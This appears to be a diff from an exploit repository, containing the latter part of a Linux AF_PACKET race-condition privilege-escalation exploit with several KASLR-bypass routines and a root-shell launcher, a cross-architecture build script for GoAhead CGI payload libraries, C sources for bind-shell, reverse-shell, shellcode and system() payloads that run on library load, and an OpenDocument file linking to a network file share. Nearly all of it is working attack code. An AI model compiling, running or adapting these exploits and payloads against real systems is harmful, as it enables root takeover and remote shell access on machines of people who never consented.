int nprocs = 0;
|
||||
nprocs = get_nprocs_conf();
|
||||
|
||||
if (nprocs < min_procs) {
|
||||
dprintf("[-] system has less than %d processor cores\n", min_procs);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
dprintf("[.] system has %d processor cores\n", nprocs);
|
||||
}
|
||||
|
||||
struct utsname get_kernel_version() {
|
||||
struct utsname u;
|
||||
int rv = uname(&u);
|
||||
if (rv != 0) {
|
||||
dprintf("[-] uname())\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
return u;
|
||||
}
|
||||
|
||||
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
|
||||
|
||||
void detect_versions() {
|
||||
struct utsname u;
|
||||
char kernel_version[512];
|
||||
|
||||
u = get_kernel_version();
|
||||
|
||||
if (strstr(u.machine, "64") == NULL) {
|
||||
dprintf("[-] system is not using a 64-bit kernel\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (strstr(u.version, "-Ubuntu") == NULL) {
|
||||
dprintf("[-] system is not using an Ubuntu kernel\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
char *u_ver = strtok(u.version, " ");
|
||||
snprintf(kernel_version, 512, "%s %s", u.release, u_ver);
|
||||
|
||||
int i;
|
||||
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
|
||||
if (strcmp(kernel_version, kernels[i].kernel_version) == 0) {
|
||||
dprintf("[.] kernel version '%s' detected\n", kernels[i].kernel_version);
|
||||
kernel = i;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
dprintf("[-] kernel version not recognized\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
#define SYSLOG_ACTION_READ_ALL 3
|
||||
#define SYSLOG_ACTION_SIZE_BUFFER 10
|
||||
|
||||
bool mmap_syslog(char** buffer, int* size) {
|
||||
*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
|
||||
if (*size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
*size = (*size / getpagesize() + 1) * getpagesize();
|
||||
*buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE,
|
||||
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
|
||||
*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
|
||||
if (*size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_trusty(char* buffer, int size) {
|
||||
const char* needle1 = "Freeing unused";
|
||||
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
|
||||
if (substr == NULL) return 0;
|
||||
|
||||
int start = 0;
|
||||
int end = 0;
|
||||
for (end = start; substr[end] != '-'; end++);
|
||||
|
||||
const char* needle2 = "ffffff";
|
||||
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
|
||||
if (substr == NULL) return 0;
|
||||
|
||||
char* endptr = &substr[16];
|
||||
unsigned long r = strtoul(&substr[0], &endptr, 16);
|
||||
|
||||
r &= 0xffffffffff000000ul;
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_xenial(char* buffer, int size) {
|
||||
const char* needle1 = "Freeing unused";
|
||||
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
|
||||
if (substr == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
int start = 0;
|
||||
int end = 0;
|
||||
for (start = 0; substr[start] != '-'; start++);
|
||||
for (end = start; substr[end] != '\n'; end++);
|
||||
|
||||
const char* needle2 = "ffffff";
|
||||
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
|
||||
if (substr == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
char* endptr = &substr[16];
|
||||
unsigned long r = strtoul(&substr[0], &endptr, 16);
|
||||
|
||||
r &= 0xfffffffffff00000ul;
|
||||
r -= 0x1000000ul;
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_syslog() {
|
||||
unsigned long addr = 0;
|
||||
char* syslog;
|
||||
int size;
|
||||
|
||||
dprintf("[.] trying syslog...\n");
|
||||
|
||||
if (!mmap_syslog(&syslog, &size))
|
||||
return 0;
|
||||
|
||||
if (strstr(kernels[kernel].kernel_version, "14.04.1") != NULL)
|
||||
addr = get_kernel_addr_trusty(syslog, size);
|
||||
else
|
||||
addr = get_kernel_addr_xenial(syslog, size);
|
||||
|
||||
if (!addr)
|
||||
dprintf("[-] kernel base not found in syslog\n");
|
||||
|
||||
return addr;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_kallsyms() {
|
||||
FILE *f;
|
||||
unsigned long addr = 0;
|
||||
char dummy;
|
||||
char sname[256];
|
||||
char* name = "startup_64";
|
||||
char* path = "/proc/kallsyms";
|
||||
|
||||
dprintf("[.] trying %s...\n", path);
|
||||
f = fopen(path, "r");
|
||||
if (f == NULL) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int ret = 0;
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_sysmap() {
|
||||
FILE *f;
|
||||
unsigned long addr = 0;
|
||||
char path[512] = "/boot/System.map-";
|
||||
char version[32];
|
||||
|
||||
struct utsname u;
|
||||
u = get_kernel_version();
|
||||
strcat(path, u.release);
|
||||
dprintf("[.] trying %s...\n", path);
|
||||
f = fopen(path, "r");
|
||||
if (f == NULL) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
char dummy;
|
||||
char sname[256];
|
||||
char* name = "startup_64";
|
||||
int ret = 0;
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_mincore() {
|
||||
unsigned char buf[getpagesize()/sizeof(unsigned char)];
|
||||
unsigned long iterations = 20000000;
|
||||
unsigned long addr = 0;
|
||||
|
||||
dprintf("[.] trying mincore info leak...\n");
|
||||
/* A MAP_ANONYMOUS | MAP_HUGETLB mapping */
|
||||
if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE,
|
||||
MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) {
|
||||
dprintf("[-] mmap()\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int i;
|
||||
for (i = 0; i <= iterations; i++) {
|
||||
/* Touch a mishandle with this type mapping */
|
||||
if (mincore((void*)0x86000000, 0x1000000, buf)) {
|
||||
dprintf("[-] mincore()\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int n;
|
||||
for (n = 0; n < getpagesize()/sizeof(unsigned char); n++) {
|
||||
addr = *(unsigned long*)(&buf[n]);
|
||||
/* Kernel address space */
|
||||
if (addr > 0xffffffff00000000) {
|
||||
addr &= 0xffffffffff000000ul;
|
||||
if (munmap((void*)0x66000000, 0x20000000000))
|
||||
dprintf("[-] munmap()\n");
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (munmap((void*)0x66000000, 0x20000000000))
|
||||
dprintf("[-] munmap()\n");
|
||||
|
||||
dprintf("[-] kernel base not found in mincore info leak\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr() {
|
||||
unsigned long addr = 0;
|
||||
|
||||
addr = get_kernel_addr_kallsyms();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_sysmap();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_syslog();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_mincore();
|
||||
if (addr) return addr;
|
||||
|
||||
dprintf("[-] KASLR bypass failed\n");
|
||||
exit(EXIT_FAILURE);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
|
||||
|
||||
void launch_rootshell(void)
|
||||
{
|
||||
int fd;
|
||||
char buf[256];
|
||||
struct stat s;
|
||||
|
||||
fd = open(SYSCTL_PATH, O_WRONLY);
|
||||
|
||||
if(fd == -1) {
|
||||
dprintf("[-] could not open %s\n", SYSCTL_PATH);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
memset(buf, '\x00', 256);
|
||||
|
||||
readlink("/proc/self/exe", (char *)&buf, 256);
|
||||
|
||||
write(fd, buf, strlen(buf)+1);
|
||||
|
||||
socket(AF_INET, SOCK_STREAM, 132);
|
||||
|
||||
if (stat(buf,&s) == 0 && s.st_uid == 0) {
|
||||
dprintf("[+] binary executed by kernel, launching rootshell\n");
|
||||
lseek(fd, 0, SEEK_SET);
|
||||
write(fd, "/sbin/modprobe", 15);
|
||||
close(fd);
|
||||
execl(buf, buf, NULL);
|
||||
} else {
|
||||
dprintf("[-] could not create rootshell\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
void setup_sandbox() {
|
||||
if (unshare(CLONE_NEWUSER) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWUSER)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (unshare(CLONE_NEWNET) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWNET)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
int status, pid;
|
||||
struct utsname u;
|
||||
char buf[512], *f;
|
||||
|
||||
if (getuid() == 0 && geteuid() == 0) {
|
||||
chown("/proc/self/exe", 0, 0);
|
||||
chmod("/proc/self/exe", 06755);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
if (getuid() != 0 && geteuid() == 0) {
|
||||
setresuid(0, 0, 0);
|
||||
setresgid(0, 0, 0);
|
||||
execl("/bin/bash", "bash", "-p", NULL);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
dprintf("linux AF_PACKET race condition exploit by rebel\n");
|
||||
|
||||
dprintf("[.] starting\n");
|
||||
|
||||
dprintf("[.] checking hardware\n");
|
||||
check_procs();
|
||||
dprintf("[~] done, hardware looks good\n");
|
||||
|
||||
dprintf("[.] checking kernel version\n");
|
||||
detect_versions();
|
||||
dprintf("[~] done, version looks good\n");
|
||||
|
||||
#if ENABLE_KASLR_BYPASS
|
||||
dprintf("[.] KASLR bypass enabled, getting kernel base address\n");
|
||||
KERNEL_BASE = get_kernel_addr();
|
||||
dprintf("[~] done, kernel text: %lx\n", KERNEL_BASE);
|
||||
#endif
|
||||
|
||||
dprintf("[.] proc_dostring: %lx\n", PROC_DOSTRING);
|
||||
dprintf("[.] modprobe_path: %lx\n", MODPROBE_PATH);
|
||||
dprintf("[.] register_sysctl_table: %lx\n", REGISTER_SYSCTL_TABLE);
|
||||
dprintf("[.] set_memory_rw: %lx\n", SET_MEMORY_RW);
|
||||
|
||||
pid = fork();
|
||||
if (pid == 0) {
|
||||
dprintf("[.] setting up namespace sandbox\n");
|
||||
setup_sandbox();
|
||||
dprintf("[~] done, namespace sandbox set up\n");
|
||||
wrapper();
|
||||
exit(0);
|
||||
}
|
||||
|
||||
waitpid(pid, &status, 0);
|
||||
|
||||
launch_rootshell();
|
||||
return 0;
|
||||
}
|
||||
Executable
+48
@@ -0,0 +1,48 @@
|
||||
#!/bin/bash
|
||||
|
||||
build () {
|
||||
CC=$1
|
||||
TARGET_SUFFIX=$2
|
||||
CFLAGS=$3
|
||||
|
||||
echo "[*] Building for ${TARGET_SUFFIX}..."
|
||||
for type in {shellcode,system,reverse,bind}
|
||||
do ${CC} ${CFLAGS} -Wall -fPIC -fno-stack-protector -Os goahead-cgi-${type}.c -s -shared -o goahead-cgi-${type}-${TARGET_SUFFIX}.so
|
||||
done
|
||||
}
|
||||
|
||||
rm -f *.o *.so *.gz
|
||||
|
||||
#
|
||||
# Linux GLIBC
|
||||
#
|
||||
|
||||
# x86
|
||||
build "gcc" "linux-glibc-x86_64" "-m64 -D OLD_LIB_SET_2"
|
||||
build "gcc" "linux-glibc-x86" "-m32 -D OLD_LIB_SET_1"
|
||||
|
||||
# ARM
|
||||
build "arm-linux-gnueabi-gcc-5" "linux-glibc-armel" "-march=armv5 -mlittle-endian"
|
||||
build "arm-linux-gnueabihf-gcc-5" "linux-glibc-armhf" "-march=armv7 -mlittle-endian"
|
||||
build "aarch64-linux-gnu-gcc-4.9" "linux-glibc-aarch64" ""
|
||||
|
||||
# MIPS
|
||||
build "mips-linux-gnu-gcc-5" "linux-glibc-mips" "-D OLD_LIB_SET_1"
|
||||
build "mipsel-linux-gnu-gcc-5" "linux-glibc-mipsel" "-D OLD_LIB_SET_1"
|
||||
build "mips64-linux-gnuabi64-gcc-5" "linux-glibc-mips64" "-D OLD_LIB_SET_1"
|
||||
build "mips64el-linux-gnuabi64-gcc-5" "linux-glibc-mips64el" "-D OLD_LIB_SET_1"
|
||||
|
||||
# SPARC
|
||||
build "sparc64-linux-gnu-gcc-5" "linux-glibc-sparc64" ""
|
||||
build "sparc64-linux-gnu-gcc-5" "linux-glibc-sparc" "-m32 -D OLD_LIB_SET_1"
|
||||
|
||||
# PowerPC
|
||||
build "powerpc-linux-gnu-gcc-5" "linux-glibc-powerpc" "-D OLD_LIB_SET_1"
|
||||
build "powerpc64-linux-gnu-gcc-5" "linux-glibc-powerpc64" ""
|
||||
build "powerpc64le-linux-gnu-gcc-4.9" "linux-glibc-powerpc64le" ""
|
||||
|
||||
# S390X
|
||||
build "s390x-linux-gnu-gcc-5" "linux-glibc-s390x" ""
|
||||
|
||||
gzip -9 *.so
|
||||
rm -f *.o *.so
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,96 @@
|
||||
#include <arpa/inet.h>
|
||||
#include <netdb.h>
|
||||
#include <netinet/in.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef OLD_LIB_SET_1
|
||||
__asm__(".symver system,system@GLIBC_2.0");
|
||||
__asm__(".symver fork,fork@GLIBC_2.0");
|
||||
#endif
|
||||
|
||||
#ifdef OLD_LIB_SET_2
|
||||
__asm__(".symver system,system@GLIBC_2.2.5");
|
||||
__asm__(".symver fork,fork@GLIBC_2.2.5");
|
||||
#endif
|
||||
|
||||
static void _bind_tcp_shell(void) {
|
||||
|
||||
int sfd, fd, i;
|
||||
struct sockaddr_in addr,saddr;
|
||||
unsigned int saddr_len = sizeof(struct sockaddr_in);
|
||||
|
||||
char *lport = "55555";
|
||||
char *shells[] = {
|
||||
"/bin/bash",
|
||||
"/usr/bin/bash",
|
||||
"/bin/sh",
|
||||
"/usr/bin/sh",
|
||||
"/bin/ash",
|
||||
"/usr/bin/ash",
|
||||
"/bin/dash",
|
||||
"/usr/bin/dash",
|
||||
"/bin/csh",
|
||||
"/usr/bin/csh",
|
||||
"/bin/ksh",
|
||||
"/usr/bin/ksh",
|
||||
"/bin/busybox",
|
||||
"/usr/bin/busybox",
|
||||
NULL
|
||||
};
|
||||
|
||||
sfd = socket(AF_INET, SOCK_STREAM, 0);
|
||||
setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &(int){ 1 }, sizeof(int));
|
||||
|
||||
saddr.sin_family = AF_INET;
|
||||
saddr.sin_port = htons(atoi(lport));
|
||||
saddr.sin_addr.s_addr = INADDR_ANY;
|
||||
bzero(&saddr.sin_zero, 8);
|
||||
|
||||
if (bind(sfd, (struct sockaddr *) &saddr, saddr_len) == -1) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (listen(sfd, 5) == -1) {
|
||||
close(sfd);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
fd = accept(sfd, (struct sockaddr *) &addr, &saddr_len);
|
||||
close(sfd);
|
||||
|
||||
if (fd == -1) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
for (i=0; i<3; i++) {
|
||||
dup2(fd, i);
|
||||
}
|
||||
|
||||
/* Keep trying until execl() succeeds */
|
||||
for (i=0; ; i++) {
|
||||
if (shells[i] == NULL) break;
|
||||
execl(shells[i], "sh", NULL);
|
||||
}
|
||||
|
||||
/* Close the connection if we failed to find a shell */
|
||||
close(fd);
|
||||
}
|
||||
|
||||
static void _run_payload_(void) __attribute__((constructor));
|
||||
|
||||
static void _run_payload_(void)
|
||||
{
|
||||
unsetenv("LD_PRELOAD");
|
||||
if (! fork())
|
||||
_bind_tcp_shell();
|
||||
|
||||
exit(0);
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,84 @@
|
||||
#include <arpa/inet.h>
|
||||
#include <netdb.h>
|
||||
#include <netinet/in.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef OLD_LIB_SET_1
|
||||
__asm__(".symver system,system@GLIBC_2.0");
|
||||
__asm__(".symver fork,fork@GLIBC_2.0");
|
||||
#endif
|
||||
|
||||
#ifdef OLD_LIB_SET_2
|
||||
__asm__(".symver system,system@GLIBC_2.2.5");
|
||||
__asm__(".symver fork,fork@GLIBC_2.2.5");
|
||||
#endif
|
||||
|
||||
static void _reverse_tcp_shell(void) {
|
||||
|
||||
int fd, i;
|
||||
struct sockaddr_in addr;
|
||||
char *lport = "55555";
|
||||
char *lhost = "000.000.000.000";
|
||||
char *shells[] = {
|
||||
"/bin/bash",
|
||||
"/usr/bin/bash",
|
||||
"/bin/sh",
|
||||
"/usr/bin/sh",
|
||||
"/bin/ash",
|
||||
"/usr/bin/ash",
|
||||
"/bin/dash",
|
||||
"/usr/bin/dash",
|
||||
"/bin/csh",
|
||||
"/usr/bin/csh",
|
||||
"/bin/ksh",
|
||||
"/usr/bin/ksh",
|
||||
"/bin/busybox",
|
||||
"/usr/bin/busybox",
|
||||
NULL
|
||||
};
|
||||
|
||||
fd = socket(PF_INET, SOCK_STREAM, 0);
|
||||
addr.sin_port = htons(atoi(lport));
|
||||
addr.sin_addr.s_addr = inet_addr(lhost);
|
||||
addr.sin_family = AF_INET;
|
||||
|
||||
memset(addr.sin_zero, 0, sizeof(addr.sin_zero));
|
||||
|
||||
for (i=0; i<10; i++) {
|
||||
if (! connect(fd, (struct sockaddr *)&addr, sizeof(struct sockaddr))) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
for (i=0; i<3; i++) {
|
||||
dup2(fd, i);
|
||||
}
|
||||
|
||||
/* Keep trying until execl() succeeds */
|
||||
for (i=0; ; i++) {
|
||||
if (shells[i] == NULL) break;
|
||||
execl(shells[i], "sh", NULL);
|
||||
}
|
||||
|
||||
/* Close the connection if we failed to find a shell */
|
||||
close(fd);
|
||||
}
|
||||
|
||||
static void _run_payload_(void) __attribute__((constructor));
|
||||
|
||||
static void _run_payload_(void)
|
||||
{
|
||||
unsetenv("LD_PRELOAD");
|
||||
if (! fork())
|
||||
_reverse_tcp_shell();
|
||||
|
||||
exit(0);
|
||||
}
|
||||
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
@@ -0,0 +1,44 @@
|
||||
#include <stdio.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/mman.h>
|
||||
#include <string.h>
|
||||
#include <signal.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#ifdef OLD_LIB_SET_1
|
||||
__asm__(".symver mmap,mmap@GLIBC_2.0");
|
||||
__asm__(".symver memcpy,memcpy@GLIBC_2.0");
|
||||
__asm__(".symver fork,fork@GLIBC_2.0");
|
||||
#endif
|
||||
|
||||
#ifdef OLD_LIB_SET_2
|
||||
__asm__(".symver mmap,mmap@GLIBC_2.2.5");
|
||||
__asm__(".symver memcpy,memcpy@GLIBC_2.2.5");
|
||||
__asm__(".symver fork,fork@GLIBC_2.2.5");
|
||||
#endif
|
||||
|
||||
#define PAYLOAD_SIZE 5000
|
||||
unsigned char payload[PAYLOAD_SIZE] = {'P','A','Y','L','O','A','D',0};
|
||||
|
||||
static void _run_payload_(void) __attribute__((constructor));
|
||||
|
||||
static void _run_payload_(void)
|
||||
{
|
||||
void *mem;
|
||||
void (*fn)();
|
||||
|
||||
unsetenv("LD_PRELOAD");
|
||||
|
||||
mem = mmap(NULL, PAYLOAD_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
|
||||
if (mem == MAP_FAILED)
|
||||
return;
|
||||
|
||||
memcpy(mem, payload, PAYLOAD_SIZE);
|
||||
fn = (void(*)())mem;
|
||||
|
||||
if (! fork())
|
||||
fn();
|
||||
|
||||
exit(0);
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,32 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/mman.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#ifdef OLD_LIB_SET_1
|
||||
__asm__(".symver system,system@GLIBC_2.0");
|
||||
__asm__(".symver fork,fork@GLIBC_2.0");
|
||||
#endif
|
||||
|
||||
#ifdef OLD_LIB_SET_2
|
||||
__asm__(".symver system,system@GLIBC_2.2.5");
|
||||
__asm__(".symver fork,fork@GLIBC_2.2.5");
|
||||
#endif
|
||||
|
||||
#define PAYLOAD_SIZE 5000
|
||||
unsigned char payload[PAYLOAD_SIZE] = {'P','A','Y','L','O','A','D',0};
|
||||
|
||||
static void _run_payload_(void) __attribute__((constructor));
|
||||
|
||||
static void _run_payload_(void)
|
||||
{
|
||||
int dummy = 0;
|
||||
unsetenv("LD_PRELOAD");
|
||||
if (! fork())
|
||||
dummy = system((const char*)payload);
|
||||
|
||||
exit(dummy);
|
||||
}
|
||||
Executable
+21
@@ -0,0 +1,21 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Assume x86_64 Ubuntu 16.04 base system
|
||||
apt-get install build-essential \
|
||||
gcc-5-multilib \
|
||||
gcc-5-multilib-arm-linux-gnueabi \
|
||||
gcc-5-multilib-arm-linux-gnueabihf \
|
||||
gcc-5-multilib-mips-linux-gnu \
|
||||
gcc-5-multilib-mips64-linux-gnuabi64 \
|
||||
gcc-5-multilib-mips64el-linux-gnuabi64 \
|
||||
gcc-5-multilib-mipsel-linux-gnu \
|
||||
gcc-5-multilib-powerpc-linux-gnu \
|
||||
gcc-5-multilib-powerpc64-linux-gnu \
|
||||
gcc-5-multilib-s390x-linux-gnu \
|
||||
gcc-5-multilib-sparc64-linux-gnu \
|
||||
gcc-4.9-powerpc64le-linux-gnu \
|
||||
gcc-4.9-aarch64-linux-gnu
|
||||
|
||||
if [ ! -e /usr/include/asm ];
|
||||
then ln -sf /usr/include/asm-generic /usr/include/asm
|
||||
fi
|
||||
@@ -0,0 +1,2 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<office:document-content xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:officeooo="http://openoffice.org/2009/office" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:drawooo="http://openoffice.org/2010/draw" xmlns:calcext="urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0" xmlns:loext="urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" xmlns:formx="urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0" xmlns:css3t="http://www.w3.org/TR/css3-text/" office:version="1.2"><office:scripts/><office:font-face-decls><style:font-face style:name="Lucida Sans1" svg:font-family="'Lucida Sans'" style:font-family-generic="swiss"/><style:font-face style:name="Liberation Serif" svg:font-family="'Liberation Serif'" style:font-family-generic="roman" style:font-pitch="variable"/><style:font-face style:name="Liberation Sans" svg:font-family="'Liberation Sans'" style:font-family-generic="swiss" style:font-pitch="variable"/><style:font-face style:name="Lucida Sans" svg:font-family="'Lucida Sans'" style:font-family-generic="system" style:font-pitch="variable"/><style:font-face style:name="Microsoft YaHei" svg:font-family="'Microsoft YaHei'" style:font-family-generic="system" style:font-pitch="variable"/><style:font-face style:name="SimSun" svg:font-family="SimSun" style:font-family-generic="system" style:font-pitch="variable"/></office:font-face-decls><office:automatic-styles><style:style style:name="fr1" style:family="graphic" style:parent-style-name="OLE"><style:graphic-properties style:horizontal-pos="center" style:horizontal-rel="paragraph" draw:ole-draw-aspect="1"/></style:style></office:automatic-styles><office:body><office:text><text:sequence-decls><text:sequence-decl text:display-outline-level="0" text:name="Illustration"/><text:sequence-decl text:display-outline-level="0" text:name="Table"/><text:sequence-decl text:display-outline-level="0" text:name="Text"/><text:sequence-decl text:display-outline-level="0" text:name="Drawing"/></text:sequence-decls><text:p text:style-name="Standard"/><text:p text:style-name="Standard"><draw:frame draw:style-name="fr1" draw:name="Object1" text:anchor-type="paragraph" svg:width="14.101cm" svg:height="9.999cm" draw:z-index="0"><draw:object xlink:href="file://192.168.1.25/test.jpg" xlink:type="simple" xlink:show="embed" xlink:actuate="onLoad"/><draw:image xlink:href="./ObjectReplacements/Object 1" xlink:type="simple" xlink:show="embed" 